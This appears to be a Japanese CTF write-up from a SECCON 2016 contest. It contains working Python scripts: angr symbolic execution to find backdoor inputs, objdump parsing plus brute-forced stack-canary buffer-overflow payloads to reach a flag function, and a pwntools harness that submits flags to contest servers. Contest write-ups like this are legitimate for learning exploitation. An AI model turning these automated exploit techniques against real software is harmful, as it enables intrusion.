http://2016.seccon.jp/news/#110

ちひろさんつけじょにーさんレンジさんとの$4$人で出ました。 優勝しました。

Problems

叩くとバイナリが降ってくるのでpayloadを投げ返すとflagが出てくる、というportが$4$種類開いている。 バイナリは時間で更新されるランダムなもの。 接続開きっぱなしにしておけばバイナリ更新とは無関係にいくらでも時間をかけてよい。

  • $10000$番port: backdoor (easy)
  • $20000$番port: backdoor (hard)
  • $30000$番port: buffer overflow (easy)
  • $40000$番port: buffer overflow (hard)

詳細について、

  • easyは$5$分でバイナリ更新
  • hardは$1$秒でバイナリ更新
  • easyは手で簡単に解けるバイナリ
  • hardは見るだけで嫌になるようなバイナリ
  • どれもchroot(+ seccomp?)下で、open("secret"); read(); write();が目標
  • backdoorは標準入力から適切な文字列を送るとflag
  • buffer overflowはflag関数に飛ばせばよい canary有り

Solutions

10000

angrでpathを全列挙。失敗時の出力であるHello, World!が出ていないpathを探し、そのような時の入力が答え。 path.state.posix.dumpsはfile descriptorを取ってその中身の文字列を返す。

#!/usr/bin/env python2
import angr

def solve(fname):
    p = angr.Project(fname)
    state = p.factory.entry_state()
    path = p.factory.path(state)
    pathgroup = p.factory.path_group(path)
    pathgroup.explore()

    for path in pathgroup.deadended:
        if not path.state.posix.dumps(1).startswith('Hello, World!'):
            return path.state.posix.dumps(0)

angrを実際の問題に使うのは始めてだったが、拾ってきた例を切り貼りしてなんとかなってしまった。

20000

$10000$と同一。 ただしとても遅い($20$秒 $\sim$ $5$分以上)かつ偶にしか成功しないので、計算資源をたくさん用意する。

  • angrとpwntoolsのlog出力が衝突してるのどうにかしたかった
  • 「外部の計算資源借りてきてよ」というのをチーム内の冗談で言っていたが、実際に実行できるようにしておくべきかも
  • 他チームの人に聞いた話だと: secretという文字列を参照している周辺をangrに通過制約として渡すととても速い (数秒, secretへの参照が見あたらない場合は諦める)
    • $30000$では似たことをしていたし気付くべきだった
  • angr.pyというファイル名で書いて中でimport angrすると自身をimportしようとして死ぬらしい 気を付けたい

30000

objdumpを雑parseした。 .text中に埋まったsecretという文字列を参照している関数はflag関数なのでこれを探し、canaryを見つけ、payloadを適当に作って試すのを成功するまでやる。

  • secretはhexで73 65 63 72 65 74なので最初にこれを探す
    • 40016c: 73 65 jae 0x4001d3
  • secretの位置を参照している関数の先頭は、その位置より上の最も近いretpush rbpを探せばよい
    • 4001cc: 55 push rbp
    • 4001db: 68 6c 01 40 00 push 0x40016c
  • canaryは独特なので区別できる
    • 40025e: 48 81 bc 24 80 00 00 cmp QWORD PTR [rsp+0x80],0x5e1b372a
  • payloadはrandom生成するが、入力の始点が$8$byteにalignedとは限らないのに注意
#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools

def objdump(fname):
    p = process(['objdump', '-d', '-M', 'intel', fname])
    s = p.recvall()
    p.close()
    return s

def find_secret_addr(asm):
    for line in asm.splitlines():
        if ':	73 65     ' in line:
            secret_addr = int(line.split()[0].rstrip(':'), 16)
            return secret_addr
    raise

def find_flag_function(asm, secret_addr):
    secret_addr = '%#x' % secret_addr
    asm = asm.splitlines()
    for i, line in enumerate(asm):
        if secret_addr in line.split()[1:]:
            flag_index = i
            break
    for line in reversed(asm[: flag_index]):
        if 'push' in line.split() and 'rbp' in line.split() :
            flag_addr = int(line.split()[0].rstrip(':'), 16)
            return flag_addr
    raise

def find_canary_value(asm):
    for line in asm.splitlines():
        if ' QWORD PTR [' in line and '],0x' in line:
            canary = int(line.split(',')[-1], 16)
            return canary
    raise

def solve(fname):
    p = process(['chmod', '+x', fname])
    p.close()
    asm = objdump(fname)
    secret_addr = find_secret_addr(asm)
    flag_addr = find_flag_function(asm, secret_addr)
    canary_value = find_canary_value(asm)

    log.info('secret %#x', secret_addr)
    log.info('flag %#x', flag_addr)
    log.info('canary %#x', canary_value)
    for _ in range(1000):
        s = ''
        s += 'A' * random.randint(0, 15)
        for _ in range(32):
            s += p64(random.choice([ flag_addr, canary_value ]))
        p = process(fname)
        p.sendline(s)
        t = p.recvall()
        p.close()
        if 'FLAG' in t:
            return s
    raise

40000

解けず。angrに投げたらcanaryっぽいものが出るなあ、というのを確認しただけだった。

canaryが割れてるのならflag関数の位置を総当たりしてもよかったのでは、と後から気付いた。

共通部分

運営から与えられたexercise.pyというtemplateを修正したもの。 起動はwhile true ; do ./a.py ; sleep 180 ; doneのようにした。

#!/usr/bin/env python2
import angr
import binascii
import md5
import base64
from pwn import * # https://pypi.python.org/pypi/pwntools
context.log_level = 'debug'

def solve(fname):
    raise NotImplementedError

def submit(flag, name='BinaryOishii'):
    p = remote('10.0.1.1', 10000)
    p.sendline(name + ' ' + flag)
    p.recvall()
    p.close()

def main():
    p = remote('10.0.1.2', 10000)

    # recv banner
    linebuf = p.recvline()
    tag, value = linebuf.split(":", 1)
    print value.strip()

    # recv ELF binary
    linebuf = p.recvline()
    tag, value = linebuf.split(":", 1)
    if tag == "IMAGE":
        b64_image = value
    else:
        print linebuf,
        return

    # decode ELF binary and save it
    bin_image = binascii.a2b_base64(b64_image)
    bin_fname = "bin_%s.elf" % md5.md5(bin_image).hexdigest()
    with open(bin_fname, "wb") as binfile:
        binfile.write(bin_image)

    # Let's analyze it!
    print "Analyze %s" % bin_fname
    attack_payload = base64.b64encode(solve(bin_fname))
    p.sendline(attack_payload)

    rslt = p.recvline()
    print rslt,

    p.close()
    flag = rslt.strip().split(':')[1]
    log.info('flag: %s', flag)
    submit(flag)

if __name__ == '__main__':
    main()

その他

  • 良問だった
  • 本戦に行けるらしい
  • $10000$と$30000$はすぐで、$20000$も何も変えてないので早く、そしてこれらを動かした後は座ってるだけだった
  • チーム人数の暴力というところはあった
  • クールなROPガジェットを探すようなツールを作りたいと思いつつ後回しにしてたが、早くやらないとなあという気持ち